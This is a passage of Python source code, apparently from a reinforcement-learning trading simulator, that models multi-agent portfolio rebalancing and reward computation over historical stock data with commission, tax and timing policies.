    - money.\r\n                                                        - market value.\r\n                                                        - rebalancing probability.\r\n                                                        - risk free rate.\r\n                                                        - Sum of prices at the time of securities purchase.\r\n                                                        - Sum of prices at the time of securities sale.\r\n                                                        - Sum of costs paid.\r\n                                                        - Sum of income gain.\r\n\r\n            rebalance_policy_list:                      `list` of multi-agent's rebalance policy.\r\n                                                        - `min_vol`:        To solve the volatility minimalization problem.\r\n                                                        - `sharpe_ratio`:   To solve the sharpe ratio maximalization problem.\r\n\r\n            rebalance_sub_policy_list:                  `list` of multi-agent's rebalance sub-policy.\r\n                                                        - `buy_and_sell`: buy and sell.\r\n                                                        - `buy_and_hold`: buy and hold.\r\n\r\n            timing_policy_list:                         `list` of multi-agent's policy for timing of trades. For instance, ...\r\n                                                        - `rsi_timer`: agent will decide timing of trades by thermodynamic the RSI.\r\n                                                        - `bollinger_band_timer`: agent will decide timing of trades by the Bollinger bands.\r\n                                                        - `dive_timer`: agent will decide timing of trades by thermodynamic dive.\r\n\r\n            technical_observer_dict:                    `dict`. The key is a use-defined value of `timing_policy_list`.\r\n                                                        The value is an object of `TechnicalObserver`.\r\n\r\n            historical_arr:         rank-1 3D `np.ndarray` of historical data.\r\n                                    - val1: Date key.\r\n                                    - val2: Values(unit prices).\r\n                                    - val3: Volumes.\r\n                                    - val4: ticker.\r\n                                    This array must be sorted by `val1` and unique key of each stock.\r\n            \r\n            stock_master_arr:       rank-1 and 5D `np.ndarray` of stock master data.\r\n                                    - key:  Unique key of each stock.\r\n                                    - val1: Unit prices in relation to the Market valuation.\r\n                                    - val2: Commission.\r\n                                    - val3: Tax.\r\n                                    - val4: Ticker.\r\n                                    - val5: Expense ratio.\r\n                                    - val6: Asset allocation.\r\n                                    - val7: Area allocation.\r\n\r\n            rebalance_prob:         `float` of the problability of occurance of rebalancing.\r\n            next_action_n:          `int` of the number of sampled next actions.\r\n            first_date_key:         `int` of the first key of `true_stock_df` refered by this class.\r\n            date_fraction:          `int` of date fraction.\r\n\r\n            generated_stock_df_list:         `list` of `pd.DataFrame` of generated historical data.\r\n                                                - val1: Date key.\r\n                                                - val2: Values(unit prices).\r\n                                                - val3: Volumes.\r\n                                                - val4: ticker.\r\n                                                This array must be sorted by `val1` and unique key of each stock.\r\n\r\n            extractable_generated_historical_data:  is-a `ExtractableGeneratedHistoricalData`.\r\n\r\n            ctx:                    `mx.cpu()` or `mx.gpu()`.\r\n            ticker_list:            `list` of ticker symbols.\r\n            start_date:             `str` of start date.\r\n            end_date:               `str` of end date.\r\n            stock_master_df:        `pd.DataFrame` of stock master data.\r\n                                    - val1: Date key.\r\n                                    - val2: Values(unit prices).\r\n                                    - val3: Volumes.\r\n                                    - val4: ticker.\r\n                                    This array must be sorted by `val1` and unique key of each stock.\r\n\r\n            daily_stock_master_flag:    `bool`. If `True`, this class considers the stock master data as variable data from day to day.\r\n        '''\r\n        self.__logger = getLogger(\"algowars\")\r\n\r\n        if isinstance(rebalance_policy_list, list) is False:\r\n            raise TypeError(\"The type of `rebalance_policy_list` must be `list`.\")\r\n        if agents_master_arr.shape[0] != len(rebalance_policy_list):\r\n            raise ValueError(\"The row of `agents_master_arr` and `rebalance_policy_list` is miss match.\")\r\n        if isinstance(rebalance_prob, float) is False:\r\n            raise TypeError(\"The type of `rebalance_prob` must be `float`.\")\r\n        if isinstance(first_date_key, int) is False:\r\n            raise TypeError(\"The type of `first_date_key` must be `int`.\")\r\n        \r\n        if historical_arr[0].shape[0] < first_date_key:\r\n            raise ValueError(\"`first_date_key` should be less than row of the `historical_arr`.\")\r\n\r\n        self.__possible_flag = False\r\n\r\n        self.__portfolio_optimization_dict = {}\r\n        self.__portfolio_optimization_dict.setdefault(\r\n            \"min_vol\",\r\n            VolatilityMinimization()\r\n        )\r\n        self.__portfolio_optimization_dict.setdefault(\r\n            \"max_sharpe_ratio\",\r\n            SharpeRatioMaximization()\r\n        )\r\n\r\n        self.__technical_observer_dict = technical_observer_dict\r\n\r\n        self.__now_date_key = first_date_key\r\n        self.__date_fraction = date_fraction\r\n        self.__rebalance_policy_list = rebalance_policy_list\r\n        self.__rebalance_sub_policy_list = rebalance_sub_policy_list\r\n        self.__timing_policy_list = timing_policy_list\r\n\r\n        self.__historical_arr = historical_arr\r\n\r\n        self.__stock_master_arr_list = [stock_master_arr for _ in range(batch_size)]\r\n        if daily_stock_master_flag is True and stock_master_df is not None:\r\n            self.__stock_master_df_list = [stock_master_df for _ in range(batch_size)]\r\n\r\n        self.__daily_stock_master_flag = daily_stock_master_flag\r\n\r\n        self.__next_action_n  = next_action_n\r\n        self.__agents_master_arr = agents_master_arr\r\n        self.__opt_memo_dict_list = [{}] * batch_size\r\n        self.__opt_memo_dict = {}\r\n\r\n        if generated_stock_df_list is not None:\r\n            self.__generated_historical_arr_list = [None] * len(generated_stock_df_list)\r\n            for i in range(len(generated_stock_df_list)):\r\n                self.__generated_historical_arr_list[i] = generated_stock_df_list[i].values\r\n\r\n        self.__extractable_generated_historical_data = extractable_generated_historical_data\r\n\r\n        self.t = 1\r\n        self.__past_unit_price_df = None\r\n        self.__ctx = ctx\r\n        self.__ticker_list = ticker_list\r\n        self.__start_date = start_date\r\n        self.__end_date = end_date\r\n\r\n        _start_date = datetime.strptime(start_date, \"%Y-%m-%d\")\r\n        _end_date = datetime.strptime(end_date, \"%Y-%m-%d\")\r\n        self.__total_days = (_end_date - _start_date).days\r\n\r\n        portfolio_arr = np.zeros((\r\n            batch_size,\r\n            agents_master_arr.shape[0],\r\n            stock_master_arr.shape[0]\r\n        ))\r\n        pre_portfolio_arr = portfolio_arr.copy()\r\n\r\n        self.__state_hold_arr = None\r\n        for batch in range(batch_size):\r\n            if self.__state_hold_arr is None:\r\n                self.__state_hold_arr = np.expand_dims(\r\n                    self.__compute_default_hold(pre_portfolio_arr[batch], batch),\r\n                    axis=0\r\n                )\r\n            else:\r\n                self.__state_hold_arr = np.r_[\r\n                    self.__state_hold_arr,\r\n                    np.expand_dims(\r\n                        self.__compute_default_hold(pre_portfolio_arr[batch], batch),\r\n                        axis=0\r\n                    )\r\n                ]\r\n\r\n        self.__real_state_hold_arr = self.__state_hold_arr.copy()\r\n\r\n        self.action_hold_arr = None\r\n        action_arr = None\r\n        for batch in range(batch_size):\r\n            for agent_i in range(agents_master_arr.shape[1]):\r\n                try:\r\n                    portfolio_arr[batch][agent_i] = self.__rebalance(\r\n                        agent_i,\r\n                        self.__rebalance_policy_list[batch][agent_i],\r\n                        batch\r\n                    )\r\n                except ValueError as e:\r\n                    print(e)\r\n                    continue\r\n                except StockHistoryError as e:\r\n                    print(e)\r\n                    continue\r\n\r\n            if self.action_hold_arr is None:\r\n                action_hold_arr = self.__compute_hold(portfolio_arr[batch], batch)\r\n                action_hold_i_list = list(action_hold_arr.shape)\r\n                action_hold_i_list.insert(0, batch_size)\r\n                self.action_hold_arr = np.zeros(tuple(action_hold_i_list))\r\n\r\n                self.action_hold_arr[batch] = action_hold_arr\r\n            else:\r\n                self.action_hold_arr[batch] = self.__compute_hold(portfolio_arr[batch], batch)\r\n\r\n            if action_arr is None:\r\n                _action_arr = self.__convert_portfolio_into_map(portfolio_arr[batch], batch)\r\n                action_i_list = list(_action_arr.shape)\r\n                action_i_list.insert(0, batch_size)\r\n                action_arr = np.zeros(tuple(action_i_list))\r\n                action_arr[batch] = _action_arr\r\n            else:\r\n                action_arr[batch] = self.__convert_portfolio_into_map(portfolio_arr[batch], batch)\r\n\r\n        self.__cum_buy_arr = None\r\n        self.__cum_sel_arr = None\r\n        self.__cum_commission_tax_arr = None\r\n        self.__cum_devided_ratio_arr = None\r\n\r\n        self.state_arr = nd.ndarray.array(\r\n            np.concatenate(\r\n                [np.zeros_like(action_arr), np.ones_like(action_arr)],\r\n                axis=1\r\n            ),\r\n            ctx=self.__ctx\r\n        )\r\n\r\n        action_arr = nd.ndarray.array(\r\n            np.concatenate(\r\n                [action_arr, np.ones_like(action_arr)],\r\n                axis=1\r\n            ),\r\n            ctx=self.__ctx\r\n        )\r\n        self.__assessment_arr = None\r\n\r\n        _ = self.observe_reward_value(self.state_arr, action_arr)\r\n\r\n        self.__default_agents_master_arr = self.__agents_master_arr.copy()\r\n\r\n        self.state_arr = nd.ndarray.array(\r\n            action_arr,\r\n            ctx=self.__ctx\r\n        )\r\n        self.__state_hold_arr = self.action_hold_arr.copy()\r\n\r\n        self.__q_logs_arr = np.array([])\r\n        self.__possible_observed_arr = None\r\n\r\n    def draw(self):\r\n        '''\r\n        Draw samples from distribtions.\r\n        \r\n        Returns:\r\n            `Tuple` of `mx.nd.array`s.\r\n        '''\r\n        possible_observed_arr, possible_label_arr = None, None\r\n        for batch in range(self.__state_arr.shape[0]):\r\n            portfolio_arr = self.__convert_map_into_portfolio(\r\n                self.__state_arr[batch].asnumpy(),\r\n                batch,\r\n            )\r\n            agents_master_arr = self.__agents_master_arr[batch]\r\n\r\n            next_action_arr = np.empty((\r\n                self.__next_action_n,\r\n                agents_master_arr.shape[0],\r\n                self.__stock_master_arr_list[batch].shape[0],\r\n                100\r\n            ))\r\n\r\n            # if i = 0, not rebalance.\r\n            # if i = 1, rebalance.\r\n            # if i > 1, dicide by `TechnicalObserverDict`.\r\n            for i in range(self.__next_action_n):\r\n                portfolio_arr_ = portfolio_arr.copy()\r\n\r\n                rebalance_flag = False\r\n                for agent_i in range(agents_master_arr.shape[0]):\r\n                    if portfolio_arr[agent_i].sum() == 0:\r\n                        rebalance_flag = True\r\n                    else:\r\n                        if self.__rebalance_sub_policy_list[batch][agent_i] == \"dollar_cost_averaging\":\r\n                            if self.t <= 1:\r\n                                rebalance_flag = True\r\n                            else:\r\n                                rebalance_flag = False\r\n\r\n                        elif i > 1:\r\n                            if self.__generated_historical_arr_list is None or self.__possible_flag is False:\r\n                                historical_arr = self.__historical_arr[\r\n                                    self.__historical_arr[:, 0] <= self.__now_date_key\r\n                                ]\r\n                            else:\r\n                                generated_historical_arr = self.__generated_historical_arr_list[batch][\r\n                                    self.__generated_historical_arr_list[batch][:, 0] <= self.__now_date_key\r\n                                ]\r\n                                generated_historical_arr = generated_historical_arr[\r\n                                    generated_historical_arr[:, 0] > (self.__now_date_key - self.__date_fraction)\r\n                                ]\r\n                                historical_arr = self.__historical_arr[\r\n                                    self.__historical_arr[:, 0] <= (self.__now_date_key - self.__date_fraction)\r\n                                ]\r\n                                # for smoothing.\r\n                                ticker_list = pd.DataFrame(\r\n                                    historical_arr[:, 3],\r\n                                    columns=[\"ticker\"]\r\n                                ).ticker.drop_duplicates().values.tolist()\r\n                                new_generated_historical_arr = None\r\n                                for ticker in ticker_list:\r\n                                    _historical_arr = historical_arr[\r\n                                        historical_arr[:, 3] == ticker\r\n                                    ]\r\n                                    _generated_historical_arr = generated_historical_arr[\r\n                                        generated_historical_arr[:, 3] == ticker\r\n                                    ]\r\n                                    if _generated_historical_arr.shape[0] > 0:\r\n                                        diff_arr = _historical_arr[-1, 1] - _generated_historical_arr[0, 1]\r\n                                        _generated_historical_arr[:, 1] = _generated_historical_arr[:, 1] + np.expand_dims(diff_arr, axis=0)\r\n                                        if new_generated_historical_arr is None:\r\n                                            new_generated_historical_arr = _generated_historical_arr\r\n                                        else:\r\n                                            new_generated_historical_arr = np.r_[\r\n                                                new_generated_historical_arr,\r\n                                                _generated_historical_arr\r\n                                            ]\r\n                                if new_generated_historical_arr is not None:\r\n                                    generated_historical_arr = new_generated_historical_arr\r\n\r\n                                historical_arr = np.r_[historical_arr, generated_historical_arr]\r\n\r\n                            if len(self.__technical_observer_dict) > 0 and self.__timing_policy_list[batch][agent_i] in self.__technical_observer_dict and self.__timing_policy_list[batch][agent_i] == \"multi_trade_observer\":\r\n                                rebalance_weight_arr = self.__technical_observer_dict[self.__timing_policy_list[batch][agent_i]].decide_timing(\r\n                                    historical_arr,\r\n                                    agents_master_arr,\r\n                                    portfolio_arr,\r\n                                    self.__date_fraction,\r\n                                    self.__ticker_list,\r\n                                    agent_i\r\n                                )\r\n                            elif self.__timing_policy_list[batch][agent_i] == \"only_drl\":\r\n                                rebalance_weight_arr = np.ones(len(self.__ticker_list))\r\n                            else:\r\n                                print(self.__technical_observer_dict)\r\n                                print(self.__timing_policy_list[batch][agent_i])\r\n                                raise ValueError(\"The value is `timing_policy_list` is invalid.\")\r\n\r\n                    # Rebalance.\r\n                    if i == 1 or (i == 0 and rebalance_flag is True):\r\n                        try:\r\n                            try:\r\n                                portfolio_arr_[agent_i] = self.__rebalance(\r\n                                    agent_i,\r\n                                    self.__rebalance_policy_list[batch][agent_i],\r\n                                    batch\r\n                                )\r\n                            except StockHistoryError as e:\r\n                                print(e)\r\n\r\n                            portfolio_arr_[agent_i] = np.nan_to_num(portfolio_arr_[agent_i])\r\n                            if portfolio_arr_[agent_i].min() < 0:\r\n                                raise ValueError(\"The minimum value of portfolio_arr must be more than `0`.\")\r\n\r\n                        except ValueError as e:\r\n                            self.__logger.debug(\"-\" * 100)\r\n                            self.__logger.debug(\"Rebalance is fault.\")\r\n                            self.__logger.debug(e)\r\n                            self.__logger.debug(\"-\" * 100)\r\n                    elif i > 1:\r\n                        portfolio_arr_[agent_i] = rebalance_weight_arr * portfolio_arr_[agent_i]\r\n                        portfolio_arr_[agent_i] = portfolio_arr_[agent_i] / portfolio_arr_[agent_i].sum()\r\n\r\n                if self.__possible_observed_arr is not None:\r\n                    # (batch, action_n, agent_i, stock_i, 0-100%)\r\n                    feature_arr = self.__convert_portfolio_into_map(\r\n                        portfolio_arr_, \r\n                        batch,\r\n                        self.__possible_observed_arr[batch][i],\r\n                        check_zero_flag=True,\r\n                    )\r\n                else:\r\n                    try:\r\n                        feature_arr = self.__convert_portfolio_into_map(\r\n                            portfolio_arr_, \r\n                            batch,\r\n                            check_zero_flag=True,\r\n                        )\r\n                    except:\r\n                        for _i in range(portfolio_arr_.shape[0]):\r\n                            self.__logger.debug(portfolio_arr_[_i])\r\n                            self.__logger.debug(\"\")\r\n                        raise\r\n\r\n                next_action_arr[i] = feature_arr\r\n\r\n            np.random.shuffle(next_action_arr)\r\n            if possible_observed_arr is None:\r\n                possible_observed_arr = np.expand_dims(next_action_arr, axis=0)\r\n            else:\r\n                possible_observed_arr = np.r_[\r\n                    possible_observed_arr, \r\n                    np.expand_dims(next_action_arr, axis=0)\r\n                ]\r\n        \r\n        for batch in range(possible_observed_arr.shape[0]):\r\n            for action_n in range(possible_observed_arr.shape[1]):\r\n                for agent_i in range(possible_observed_arr.shape[2]//2):\r\n                    if possible_observed_arr[batch, action_n, agent_i].sum() == 0:\r\n                        self.__logger.debug((batch, action_n, agent_i))\r\n                        raise ValueError(\"checked.\")\r\n                    if possible_observed_arr[batch, action_n, agent_i].min() < 0:\r\n                        self.__logger.debug((batch, action_n, agent_i))\r\n                        raise ValueError(\"minus.\")\r\n\r\n        meta_arr = np.ones_like(possible_observed_arr) * self.__now_date_key\r\n        observed_arr = nd.ndarray.array(possible_observed_arr, ctx=self.__state_arr.context)\r\n        self.__batch_size = observed_arr.shape[0]\r\n\r\n        if self.__possible_flag is False:\r\n            self.__possible_agents_master_arr = self.__agents_master_arr.copy()\r\n            self.__possible_cum_buy_arr = self.__cum_buy_arr.copy()\r\n            self.__possible_cum_sel_arr = self.__cum_sel_arr.copy()\r\n            self.__possible_cum_commission_tax_arr = self.__cum_commission_tax_arr.copy()\r\n            self.__possible_cum_devided_ratio_arr = self.__cum_devided_ratio_arr.copy()\r\n            if self.__assessment_arr is not None:\r\n                self.__possible_assessment_arr = self.__assessment_arr.copy()\r\n            else:\r\n                self.__possible_assessment_arr = None\r\n\r\n            self.__real_state_arr = self.state_arr\r\n            if self.__state_hold_arr is None:\r\n                self.__real_state_hold_arr = np.zeros_like(self.__state_hold_arr)\r\n                for batch in range(self.__batch_size):\r\n                    pre_portfolio_arr = self.__convert_map_into_portfolio(\r\n                        self.state_arr[batch].asnumpy(),\r\n                        batch\r\n                    )\r\n                    self.__real_state_hold_arr[batch] = self.__compute_hold(\r\n                        pre_portfolio_arr,\r\n                        batch,\r\n                    )\r\n            else:\r\n                self.__real_state_hold_arr = self.__state_hold_arr.copy()\r\n\r\n            self.__possible_state_hold_arr = self.__state_hold_arr.copy()\r\n\r\n        self.__possible_flag = True\r\n        self.__possible_observed_arr = possible_observed_arr\r\n\r\n        return observed_arr, meta_arr\r\n\r\n    def observe_reward_value(\r\n        self, \r\n        state_arr, \r\n        action_arr,\r\n        meta_data_arr=None,\r\n    ):\r\n        '''\r\n        Compute the reward value.\r\n        \r\n        Args:\r\n            state_arr:              Tensor of state.\r\n            action_arr:             Tensor of action.\r\n            meta_data_arr:          Meta data of actions.\r\n\r\n        Returns:\r\n            Reward value.\r\n        '''\r\n        if state_arr is None:\r\n            state_arr = self.__state_arr\r\n\r\n        batch_size = state_arr.shape[0]\r\n\r\n        portfolio_arr = None\r\n        for batch in range(batch_size):\r\n            post_portfolio_arr = self.__convert_map_into_portfolio(\r\n                action_arr[batch].asnumpy(),\r\n                batch\r\n            )\r\n\r\n            self.action_hold_arr[batch] = self.__compute_hold(\r\n                post_portfolio_arr,\r\n                batch,\r\n                self.__state_hold_arr[batch],\r\n            )\r\n\r\n            if portfolio_arr is None:\r\n                portfolio_arr = np.expand_dims(post_portfolio_arr, axis=0)\r\n            else:\r\n                portfolio_arr = np.r_[\r\n                    portfolio_arr,\r\n                    np.expand_dims(post_portfolio_arr, axis=0)\r\n                ]\r\n\r\n        arr_tuple_list = self.__compute_invested_commission_tax()\r\n\r\n        self.__buy_arr = None\r\n        self.__sel_arr = None\r\n        self.__commission_tax_arr = None\r\n        self.__dividend_ratio_arr = None\r\n        for batch in range(len(arr_tuple_list)):\r\n            if batch == 0:\r\n                self.__buy_arr = np.expand_dims(arr_tuple_list[batch][0], axis=0)\r\n                self.__sel_arr = np.expand_dims(arr_tuple_list[batch][1], axis=0)\r\n                self.__commission_tax_arr = np.expand_dims(arr_tuple_list[batch][2], axis=0)\r\n                self.__dividend_ratio_arr = np.expand_dims(arr_tuple_list[batch][3], axis=0)\r\n            else:\r\n                self.__buy_arr = np.r_[\r\n                    self.__buy_arr, \r\n                    np.expand_dims(arr_tuple_list[batch][0], axis=0)\r\n                ]\r\n                self.__sel_arr = np.r_[\r\n                    self.__sel_arr,\r\n                    np.expand_dims(arr_tuple_list[batch][1], axis=0)\r\n                ]\r\n                self.__commission_tax_arr = np.r_[\r\n                    self.__commission_tax_arr,\r\n                    np.expand_dims(arr_tuple_list[batch][2], axis=0)\r\n                ]\r\n                self.__dividend_ratio_arr = np.r_[\r\n                    self.__dividend_ratio_arr,\r\n                    np.expand_dims(arr_tuple_list[batch][3], axis=0)\r\n                ]\r\n\r\n        if self.__possible_flag is False:\r\n            if self.__cum_buy_arr is not None:\r\n                self.__cum_buy_arr += self.__buy_arr\r\n            else:\r\n                self.__cum_buy_arr = self.__buy_arr\r\n            if self.__cum_sel_arr is not None:\r\n                self.__cum_sel_arr += self.__sel_arr\r\n            else:\r\n                self.__cum_sel_arr = self.__sel_arr\r\n            if self.__cum_commission_tax_arr is not None:\r\n                self.__cum_commission_tax_arr += self.__commission_tax_arr\r\n            else:\r\n                self.__cum_commission_tax_arr = self.__commission_tax_arr\r\n            if self.__cum_devided_ratio_arr is not None:\r\n                self.__cum_devided_ratio_arr += self.__dividend_ratio_arr\r\n            else:\r\n                self.__cum_devided_ratio_arr = self.__dividend_ratio_arr\r\n        else:\r\n            self.__possible_cum_buy_arr += self.__buy_arr\r\n            self.__possible_cum_sel_arr += self.__sel_arr\r\n            self.__possible_cum_commission_tax_arr += self.__commission_tax_arr\r\n            self.__possible_cum_devided_ratio_arr += self.__dividend_ratio_arr\r\n\r\n        reward_value_arr = None\r\n        for batch in range(batch_size):\r\n            if self.__possible_flag is False:\r\n                post_assessment_arr = self.__compute_assessment(\r\n                    self.__agents_master_arr[batch], \r\n                    self.action_hold_arr[batch],\r\n                    batch\r\n                )\r\n            else:\r\n                post_assessment_arr = self.__compute_assessment(\r\n                    self.__possible_agents_master_arr[batch], \r\n                    self.action_hold_arr[batch],\r\n                    batch\r\n                )\r\n\r\n            assessment_arr = np.nansum(\r\n                post_assessment_arr.reshape(\r\n                    (\r\n                        post_assessment_arr.shape[0], \r\n                        -1\r\n                    )\r\n                ), \r\n                axis=1\r\n            )\r\n\r\n            if self.__possible_flag is False:\r\n                if self.__assessment_arr is None:\r\n                    assessment_i_list = list(assessment_arr.shape)\r\n                    assessment_i_list.insert(0, batch_size)\r\n                    self.__assessment_arr = np.zeros(tuple(assessment_i_list))\r\n\r\n                self.__assessment_arr[batch] = assessment_arr\r\n            else:\r\n                if self.__possible_assessment_arr is None:\r\n                    assessment_i_list = list(assessment_arr.shape)\r\n                    assessment_i_list.insert(0, batch_size)\r\n                    self.__possible_assessment_arr = np.zeros(tuple(assessment_i_list))\r\n\r\n                self.__possible_assessment_arr[batch] = assessment_arr\r\n\r\n            yeild_arr = self.__yeild_on_the_way(batch)\r\n            yeild_arr = (yeild_arr - np.nanmean(yeild_arr)) / (yeild_arr.std() + 1e-08)\r\n\r\n            if reward_value_arr is None:\r\n                reward_value_arr = np.nansum(yeild_arr) / yeild_arr.shape[0]\r\n                reward_value_arr = np.expand_dims(reward_value_arr, axis=0)\r\n            else:\r\n                reward_value_arr = np.r_[\r\n                    reward_value_arr,\r\n                    np.expand_dims(np.nansum(yeild_arr) / yeild_arr.shape[0], axis=0)\r\n                ]\r\n\r\n        if self.__possible_flag is False:\r\n            self.__agents_master_arr[:, :, 1] -= np.expand_dims(self.__commission_tax_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 1] -= np.expand_dims(self.__buy_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 1] += np.expand_dims(self.__sel_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 1] += np.expand_dims(self.__dividend_ratio_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 2] = np.expand_dims(self.__assessment_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 5] = np.expand_dims(self.__buy_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 6] = np.expand_dims(self.__sel_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 7] = np.expand_dims(self.__commission_tax_arr, axis=-1)\r\n            self.__agents_master_arr[:, :, 8] = np.expand_dims(self.__cum_devided_ratio_arr, axis=-1)\r\n        else:\r\n            self.__possible_agents_master_arr[:, :, 1] -= np.expand_dims(self.__commission_tax_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 1] -= np.expand_dims(self.__buy_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 1] += np.expand_dims(self.__sel_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 1] += np.expand_dims(self.__dividend_ratio_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 2] = np.expand_dims(self.__possible_assessment_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 5] = np.expand_dims(self.__buy_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 6] = np.expand_dims(self.__sel_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 7] = np.expand_dims(self.__commission_tax_arr, axis=-1)\r\n            self.__possible_agents_master_arr[:, :, 8] = np.expand_dims(self.__possible_cum_devided_ratio_arr, axis=-1)\r\n\r\n        self.__commission_tax_arr = None\r\n        self.__buy_arr = None\r\n        self.__sel_arr = None\r\n\r\n        reward_value_arr = nd.ndarray.array(reward_value_arr, ctx=state_arr.context)\r\n\r\n        return reward_value_arr\r\n\r\n    def get_action_hold_arr(self):\r\n        return self.__action_hold_arr\r\n    \r\n    def set_action_hold_arr(self, value):\r\n        self.__action_hold_arr = value\r\n        if value is not None:\r\n            for batch in range(self.__action_hold_arr.shape[0]):\r\n                for agent_i in range(self.__action_hold_arr.shape[1]):\r\n                    if self.__action_hold_arr[batch][agent_i].sum() == 0:\r\n                        raise ValueError()\r\n\r\n    action_hold_arr = property(get_action_hold_arr, set_action_hold_arr)\r\n\r\n    def observe_state(self, state_arr, meta_data_arr):\r\n        '''\r\n        Observe states of agents in last epoch.\r\n\r\n        Args:\r\n            state_arr:      Tensor of state.\r\n            meta_data_arr:  meta data of the state.\r\n        '''\r\n        self.state_arr = state_arr\r\n        self.__state_meta_data_arr = meta_data_arr\r\n        if self.__possible_flag is True:\r\n            for batch in range(state_arr.shape[0]):\r\n                pre_portfolio_arr = self.__convert_map_into_portfolio(\r\n                    state_arr[batch].asnumpy(),\r\n                    batch\r\n                )\r\n                self.__possible_state_hold_arr[batch] = self.__compute_hold(\r\n                    pre_portfolio_arr,\r\n                    batch,\r\n                    self.action_hold_arr[batch]\r\n                )\r\n\r\n        # Update stock master data, refering the next day.\r\n        # Update `__stock_master_arr`.\r\n        try:\r\n            self.__update_historical_data(meta_data_arr)\r\n        except StockHistoryError:\r\n            if self.fix_date_flag is True and self.update_last_flag is True:\r\n                pass\r\n            elif self.fix_date_flag is True and self.__possible_flag is True:\r\n                self.__update_last()\r\n            else:\r\n                self.__reset_date_and_histroical_data()\r\n\r\n    def __reset_date_and_histroical_data(self, retry_n=1):\r\n        self.__now_date_key = np.random.randint(\r\n            low=0,\r\n            high=self.__date_fraction\r\n        )\r\n        self.__opt_memo_dict_list = [{}] * self.__batch_size\r\n        self.__agents_master_arr = self.__default_agents_master_arr.copy()\r\n\r\n        self.__buy_arr = None\r\n        self.__sel_arr = None\r\n        self.__commission_tax_arr = None\r\n        self.__dividend_ratio_arr = None\r\n        self.__cum_buy_arr = np.zeros_like(self.__cum_buy_arr)\r\n        self.__cum_sel_arr = np.zeros_like(self.__cum_sel_arr)\r\n        self.__cum_commission_tax_arr = np.zeros_like(self.__cum_commission_tax_arr)\r\n        batch_size = self.__batch_size\r\n        portfolio_arr = np.zeros((\r\n            batch_size,\r\n            self.__agents_master_arr.shape[0],\r\n            self.__stock_master_arr_list[0].shape[0]\r\n        ))\r\n        pre_portfolio_arr = portfolio_arr.copy()\r\n\r\n        self.__real_state_hold_arr = self.__state_hold_arr.copy()\r\n\r\n        self.action_hold_arr = None\r\n        action_arr = None\r\n\r\n        try:\r\n            for batch in range(batch_size):\r\n                for agent_i in range(self.__agents_master_arr.shape[1]):\r\n                    portfolio_arr[batch][agent_i] = self.__rebalance(\r\n                        agent_i,\r\n                        self.__rebalance_policy_list[batch][agent_i],\r\n                        batch\r\n                    )\r\n                    if portfolio_arr[batch][agent_i].sum() == 0:\r\n                        raise ValueError(\"portfolio is zero.\")\r\n\r\n                if self.action_hold_arr is None:\r\n                    action_hold_arr = self.__compute_hold(portfolio_arr[batch], batch)\r\n                    action_hold_i_list = list(action_hold_arr.shape)\r\n                    action_hold_i_list.insert(0, batch_size)\r\n                    self.action_hold_arr = np.zeros(tuple(action_hold_i_list))\r\n\r\n                    self.action_hold_arr[batch] = action_hold_arr\r\n                else:\r\n                    self.action_hold_arr[batch] = self.__compute_hold(portfolio_arr[batch], batch)\r\n\r\n                if action_arr is None:\r\n                    _action_arr = self.__convert_portfolio_into_map(portfolio_arr[batch], batch)\r\n                    action_i_list = list(_action_arr.shape)\r\n                    action_i_list.insert(0, batch_size)\r\n                    action_arr = np.zeros(tuple(action_i_list))\r\n                    action_arr[batch] = _action_arr\r\n                else:\r\n                    action_arr[batch] = self.__convert_portfolio_into_map(portfolio_arr[batch], batch)\r\n\r\n        except ValueError:\r\n            if retry_n < 10:\r\n                self.__reset_date_and_histroical_data(retry_n=retry_n+1)\r\n                return\r\n            else:\r\n                raise\r\n        except StockHistoryError as e:\r\n            if retry_n < 10:\r\n                self.__reset_date_and_histroical_data(retry_n=retry_n+1)\r\n                return\r\n            else:\r\n                raise\r\n\r\n        self.__cum_buy_arr = None\r\n        self.__cum_sel_arr = None\r\n        self.__cum_commission_tax_arr = None\r\n        self.__cum_devided_ratio_arr = None\r\n\r\n        action_arr = nd.ndarray.array(\r\n            np.concatenate(\r\n                [action_arr, np.ones_like(action_arr)],\r\n                axis=1\r\n            ),\r\n            ctx=self.__ctx\r\n        )\r\n\r\n        self.__assessment_arr = None\r\n        _ = self.observe_reward_value(self.state_arr, action_arr)\r\n\r\n        self.__default_agents_master_arr = self.__agents_master_arr.copy()\r\n\r\n        self.state_arr = nd.ndarray.array(\r\n            action_arr,\r\n            ctx=self.__ctx\r\n        )\r\n        self.__state_hold_arr = self.action_hold_arr.copy()\r\n\r\n        self.__possible_observed_arr = None\r\n\r\n    def __check_debit(self):\r\n        if self.__possible_flag is False:\r\n            agents_master_arr = self.__agents_master_arr.copy()\r\n        else:\r\n            agents_master_arr = self.__possible_agents_master_arr.copy()\r\n\r\n        agents_master_arr[:, :, 1] -= np.expand_dims(self.__commission_tax_arr, axis=-1)\r\n        agents_master_arr[:, :, 1] -= np.expand_dims(self.__buy_arr, axis=-1)\r\n        agents_master_arr[:, :, 1] += np.expand_dims(self.__sel_arr, axis=-1)\r\n        agents_master_arr[:, :, 1] += np.expand_dims(self.__cum_devided_ratio_arr + self.__dividend_ratio_arr, axis=-1)\r\n\r\n        debit_tuple = np.where(agents_master_arr[:, :, 1] <= 0)\r\n        if len(debit_tuple) == 3:\r\n            batch_arr, agent_i_arr = debit_tuple[0], debit_tuple[1]\r\n            if batch_arr.shape[0] > 0 and agent_i_arr.shape[0] > 0:\r\n                self.__debit_tuple = batch_arr, agent_i_arr\r\n                return batch_arr, agent_i_arr\r\n            else:\r\n                self.__debit_tuple = None\r\n                return None\r\n        else:\r\n            self.__debit_tuple = None\r\n            return None\r\n\r\n    def update_state(\r\n        self, \r\n        action_arr, \r\n        meta_data_arr=None\r\n    ):\r\n        '''\r\n        Update state.\r\n        \r\n        This method can be overrided for concreate usecases.\r\n\r\n        Args:\r\n            action_arr:     action in 